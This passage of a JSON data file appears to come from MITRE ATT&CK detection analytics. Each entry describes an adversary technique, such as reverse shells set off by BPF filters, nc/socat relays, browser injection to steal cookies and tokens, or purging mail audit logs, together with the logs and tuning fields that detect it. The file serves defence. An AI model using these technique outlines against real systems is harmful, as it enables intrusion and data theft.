                    "external_id": "AN1101"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1101",
            "description": "Adversary invokes 'dpkg -l', 'rpm -qa', or other package managers via shell or script to enumerate installed software.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of dpkg, rpm, or other package manager with list flag"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "linux:shell",
                    "channel": "Manual invocation of software enumeration commands via interactive shell"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptName",
                    "description": "Path to the wrapper script that invokes enumeration commands."
                },
                {
                    "field": "TTYContext",
                    "description": "Scope detection to interactive vs. background shell contexts."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "external_references": [
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0525",
                    "external_id": "AN0525"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0525",
            "description": "Detects deletion or hiding of security-related mail rules, audit mailboxes, or calendar/log sync artifacts indicative of tampering post-intrusion.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b",
                    "name": "m365:exchange",
                    "channel": "Remove-InboxRule, Clear-Mailbox"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "PurgeAuditLogs, Remove-MailboxAuditLog"
                }
            ],
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                {
                    "field": "TargetMailboxScope",
                    "description": "Limit by VIP mailboxes or external-facing users"
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                {
                    "field": "AuditLogDepth",
                    "description": "Tune for log deletion following lateral movement"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0823",
            "description": "Detects suspicious DNS/ARP poisoning attempts, unauthorized modifications to registry/network configuration, or abnormal TLS downgrade activity. Correlates changes in system configuration with subsequent unusual network flows or authentication events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredRegistryPaths",
                    "description": "Specific network stack and DNS registry keys that vary by enterprise configuration."
                },
                {
                    "field": "DowngradeCipherList",
                    "description": "List of weak/legacy ciphers tuned per environment for TLS downgrade detection."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period between config changes and abnormal network connections."
                }
            ]
        },
        {
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            "id": "x-mitre-analytic--c19f8f89-76f9-4345-8bb6-a065fba50bff",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0463"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0463",
            "description": "Process creates a raw/packet socket and attaches a (e)BPF filter (setsockopt SO_ATTACH_FILTER/ATTACH_BPF or bpf(BPF_PROG_LOAD)). Immediately after a matching inbound packet, the same process binds/connects outward to a remote host (reverse shell or beacon).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\"/dev/bpf*\" (BSD/macOS-like) or setcap cap_net_raw."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "linux:osquery",
                    "channel": "family=AF_PACKET or protocol raw; process name not in allowlist."
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip."
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Flag raw-socket activity outside privileged daemons (root-only by default)."
                },
                {
                    "field": "MinPayloadEntropy",
                    "description": "If using packet content (Zeek), treat high-entropy single-packet triggers as suspicious."
                },
                {
                    "field": "AFPacketAllowList",
                    "description": "System services allowed to open AF_PACKET (dhclient, keepalived, LLDP, monitoring agents)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0075#AN0207",
                    "external_id": "AN0207"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0207",
            "description": "ESXi shell execution of tools/scripts (`nc`, `socat`, `perl`) relaying network traffic to other internal hosts, especially when initiated by unauthorized users or VMs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "esxi:shell",
                    "channel": "/var/log/shell.log"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:vmkernel",
                    "channel": "/var/log/vmkernel.log"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "conn.log"
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            ],
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                {
                    "field": "CLICommandPattern",
                    "description": "Watch for chained shell commands building local-to-local connections."
                },
                {
                    "field": "VMInitiator",
                    "description": "Correlate to which VM initiated the traffic tunnel; unexpected VM behavior may be suspicious."
                },
                {
                    "field": "ConnectionDirectionality",
                    "description": "Unusual east-west communication patterns among VMs."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "description": "Monitor kernel module load/unload activity via modprobe, insmod, rmmod, or direct manipulation of /lib/modules. Correlate with installation of kernel headers, compilation commands, or downloads of .ko files. Detect anomalies in unsigned module loading or repeated module load attempts under non-root users.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "Access or modification to /lib/modules or creation of .ko files"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "linux:osquery",
                    "channel": "New or modified kernel object files (.ko) within /lib/modules directory"
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            ],
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                {
                    "field": "UserContext",
                    "description": "Scope detection to non-root or unexpected users performing module-related activity"
                },
                {
                    "field": "TimeWindow",
                    "description": "Limit alerts to module activity outside approved change windows"
                },
                {
                    "field": "FilePathRegex",
                    "description": "Adjust regex pattern for directories to monitor depending on kernel version or distro"
                }
            ],
            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0341",
            "description": "Behavioral correlation of privileged registry key creation under the W32Time TimeProviders path combined with a new DLL written to disk and potential process activity by LocalService. Indicates abuse of Time Providers for persistence.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "field": "RegistryPathScope",
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                },
                {
                    "field": "UserContext",
                    "description": "Should focus on activity from administrative or SYSTEM accounts"
                },
                {
                    "field": "TimeWindow",
                    "description": "Controls correlation window between registry modification and DLL drop"
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                {
                    "field": "DllPathEntropyThreshold",
                    "description": "Used for anomaly scoring on DLL path patterns (e.g., random names or temp directories)"
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            "name": "Analytic 0037",
            "description": "Access to browser artifact locations (e.g., Chrome, Edge, Firefox) by processes like PowerShell, cmd.exe, or unknown tools, followed by file reads, decoding, or export operations indicating enumeration of bookmarks, autofill, or history databases.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                    "field": "TargetPathRegex",
                    "description": "Location of browser data folders like %APPDATA%\\Google\\Chrome\\User Data or %APPDATA%\\Mozilla\\Firefox"
                },
                {
                    "field": "ParentProcess",
                    "description": "Used to exclude known browser maintenance or backup processes"
                },
                {
                    "field": "ScriptBlockPattern",
                    "description": "Used to detect suspicious PowerShell commands targeting browser data"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1306"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1306",
            "description": "Linux environmental keying behavioral chain: (1) System information gathering through native commands (uname, hostname, id, whoami, ifconfig/ip) and file system enumeration, (2) Network configuration discovery (route tables, DNS settings, network interfaces), (3) Filesystem and mount point analysis for target-specific directories or devices, (4) Process and service enumeration to identify target-specific software, (5) Cryptographic library usage correlation with collected environmental data, (6) Payload execution following successful environmental validation",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "linux:syslog",
                    "channel": "kernel messages related to cryptographic operations, module loading, and filesystem access patterns"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:osquery",
                    "channel": "process_events"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DiscoveryCommandSequenceThreshold",
                    "description": "Number of distinct discovery commands within time window to trigger detection - adjust based on normal system administration patterns in environment"
                },
                {
                    "field": "ProcessAncestryDepth",
                    "description": "Depth of process parent-child relationships to analyze for discovery activity clustering - balance between detection efficacy and performance"
                },
                {
                    "field": "CryptographicLibraryIndicators",
                    "description": "Shared libraries and system calls indicating cryptographic operations (libcrypto, libssl, openssl) - customize based on environment-specific crypto tools"
                },
                {
                    "field": "TargetSpecificFilesystems",
                    "description": "Organization-specific mount points, network filesystems, or device paths that adversaries might validate against"
                },
                {
                    "field": "AuthorizedDiscoveryUsers",
                    "description": "User accounts and service accounts authorized for extensive system discovery operations - maintain for false positive reduction"
                },
                {
                    "field": "NetworkConfigurationBaseline",
                    "description": "Normal network interface configurations and routing tables to identify anomalous network discovery patterns"
                },
                {
                    "field": "ContainerContextIdentifiers",
                    "description": "Container runtime identifiers and namespace patterns to detect environmental assessment targeting container environments"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c2b959ca-75f4-4291-9812-0b065e7bb395",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0444#AN1227",
                    "external_id": "AN1227"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1227",
            "description": "Detects applications using abnormal protocols or high volume traffic not previously associated with the process image, such as Automator or AppleScript invoking curl or python sockets.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:osquery",
                    "channel": "socket_events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SocketParentProcessMatch",
                    "description": "Non-browser processes opening sockets to external IPs"
                },
                {
                    "field": "DataFlowImbalanceRatio",
                    "description": "High outbound/inbound ratio indicating C2 beacon"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c345908d-4f74-4341-a203-8c76be2a136b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0249#AN0693",
                    "external_id": "AN0693"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0693",
            "description": "Remote/API driven creation **and** start of a container whose image is not on an allow\u2011list (or is tagged `latest`), executed by a non-admin principal, and/or started with risky runtime attributes (e.g., `--privileged`, host PID/NET namespaces, sensitive host path mounts, capability adds). Correlates *create* \u279c *start* \u279c first network/process actions from that container within a short time window.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "docker:daemon",
                    "channel": "container_create,container_start"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e",
                    "name": "containerd:runtime",
                    "channel": "CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "ebpf:syscalls",
                    "channel": "process execution or network connect from just-created container PID namespace"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "docker:events",
                    "channel": "remote API calls to /containers/create or /containers/{id}/start"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "known_images",
                    "description": "Environment-specific allow-list of approved images (with digests)."
                },
                {
                    "field": "known_admins",
                    "description": "Service accounts or CI/CD users permitted to deploy containers."
                },
                {
                    "field": "TimeWindow",
                    "description": "Max time between create, start, and first activity to consider events causally linked (default 5m)."
                },
                {
                    "field": "RiskThreshold",
                    "description": "Minimum number of risky attributes (e.g., unknown image + privileged) to alert."
                },
                {
                    "field": "PrivilegedFlags",
                    "description": "Set of runtime flags considered high risk (e.g., --privileged, --cap-add=SYS_ADMIN, hostPID, hostNetwork, /var/run/docker.sock mount)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c35bd9de-acd9-41f9-9e4f-2a3aad461de6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1340",
                    "external_id": "AN1340"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1340",
            "description": "Authentication failure logs on routers/switches showing repeated use of default or common passwords across multiple accounts",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "networkdevice:syslog",
                    "channel": "AAA or TACACS authentication failures"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AuthFailureBurst",
                    "description": "Cluster of failed attempts in short period indicating spray"
                },
                {
                    "field": "InterfaceFilter",
                    "description": "Limit detection to console/SSH vs web UI interfaces"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c3629243-7cd6-4e56-9275-73f5752f0f08",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0507#AN1398",
                    "external_id": "AN1398"
                }
            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1398",
            "description": "Adversary gains high integrity or special privileges (e.g., SeDebugPrivilege), locates a running browser process, opens it with write/inject rights, and modifies it (e.g., CreateRemoteThread / DLL load) to inherit cookies/tokens or establish a browser pivot. Optional step: create a new logon session or use explicit credentials, then drive the victim browser to intranet resources.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4673"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=8"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
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                {
                    "field": "BrowserList",
                    "description": "Set of monitored browsers (chrome.exe, msedge.exe, firefox.exe, iexplore.exe). Adjust per fleet."
                },
                {
                    "field": "AccessMaskSet",
                    "description": "Access rights implying injection (e.g., 0x1FFFFF, 0x1F3FF, VM_WRITE, VM_OPERATION, CREATE_THREAD). Tune by EDR mapping."
                },
                {
                    "field": "SignerAllowList",
                    "description": "Allowed module signers within browser processes (e.g., Microsoft, Google). Helps flag unsigned/unknown ImageLoad into browsers."
                },
                {
                    "field": "InternalCIDR",
                    "description": "Enterprise internal ranges or DNS suffixes to identify intranet pivoting via the browser."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation interval (e.g., 10\u201320 minutes) linking privilege gain \u2192 access \u2192 modification \u2192 network usage."
                },
                {
                    "field": "ParentAllowList",
                    "description": "Legitimate tools that may automate browsers (e.g., Selenium drivers). Reduce FPs by allowlisting."
                },
                {
                    "field": "UserContext",
                    "description": "Scope analytics to high-value users, admin workstations, or servers where browsers shouldn\u2019t be automated."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0016"
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            "name": "Analytic 0016",
            "description": "Adversary uses nltest, PowerShell, or Win32/.NET API to enumerate domain trust relationships (via DSEnumerateDomainTrusts, GetAllTrustRelationships, or LDAP queries), followed by discovery or authentication staging.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "Get-ADTrust|GetAllTrustRelationships"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4662"
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            ],
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                {
                    "field": "ParentImage",
                    "description": "Tune based on expected script hosts or authorized administrators invoking trust enumeration."
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                {
                    "field": "TimeWindow",
                    "description": "Correlate enumeration + subsequent Kerberos activity or DC interaction within a bounded window."
                },
                {
                    "field": "UserContext",
                    "description": "Prioritize detection for non-admin or unexpected user accounts performing enumeration."
                },
                {
                    "field": "API_Name",
                    "description": "Flag uncommon or low-prevalence API calls like DSEnumerateDomainTrusts for inspection."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Creation of files or directories with a leading '.' in privileged directories (/etc, /var, /usr/bin). Defender view: monitoring auditd logs for file creations where name begins with '.' and correlated with unusual user/process context.",
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                "Linux"
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                    "name": "auditd:FILE",
                    "channel": "File creation with name starting with '.'"
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                {
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                    "name": "auditd:EXECVE",
                    "channel": "Use of mv or cp to rename files with '.' prefix"
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                {
                    "field": "DirectoryScope",
                    "description": "Restrict detection to critical directories to avoid noise from benign hidden files like .ssh or .config."
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            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0048#AN0131",
                    "external_id": "AN0131"
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            "description": "Detects adversaries accessing remote mail systems (e.g., Exchange Online, O365) using stolen credentials or OAuth tokens, followed by scripted access to mailbox contents via PowerShell, AADInternals, or unattended API queries. Detection focuses on abnormal logon sessions, user agents, IP locations, and scripted or tool-based email data access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "azure:signinlogs",
                    "channel": "Abnormal sign-in from scripting tools (PowerShell, AADInternals)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:purview",
                    "channel": "MailItemsAccessed & Exchange Audit"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
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                {
                    "field": "UserAgentPattern",
                    "description": "Filters user agents like 'PowerShell', 'AADInternals', 'python-requests' which can vary depending on script/tool."
                },
                {
                    "field": "TimeWindow",
                    "description": "Defines the temporal correlation window between login, command execution, and outbound email access."
                },
                {
                    "field": "KnownIPLocations",
                    "description": "Defines baseline geo/IP address ranges to suppress known corporate access."
                },
                {
                    "field": "PrivilegedUserList",
                    "description": "Defines the accounts considered privileged (admin, execs) and worthy of tighter thresholds."
                }
            ]
        },
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            "id": "x-mitre-analytic--c448cbb5-1256-4a00-8582-1759fb5a6e56",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0240#AN0671",
                    "external_id": "AN0671"
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            ],
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            "modified": "2025-11-12T18:12:53.100Z",
            "name": "Analytic 0671",
            "description": "Monitor for abnormal certificate enrollment and usage activity in Active Directory Certificate Services (AD CS), registry access to certificate storage locations, and unusual process executions that attempt to export or access private keys.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4768"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "EKU_Thresholds",
                    "description": "Organizations may tune which Extended Key Usage (EKU) values are considered risky."
                },
                {
                    "field": "TimeWindow",
                    "description": "Defines how quickly multiple certificate enrollments from the same entity should trigger correlation alerts."
                },
                {
                    "field": "LogonContext",
                    "description": "Differentiate between service accounts and interactive user accounts to reduce false positives."
                }
            ]
        },
        {
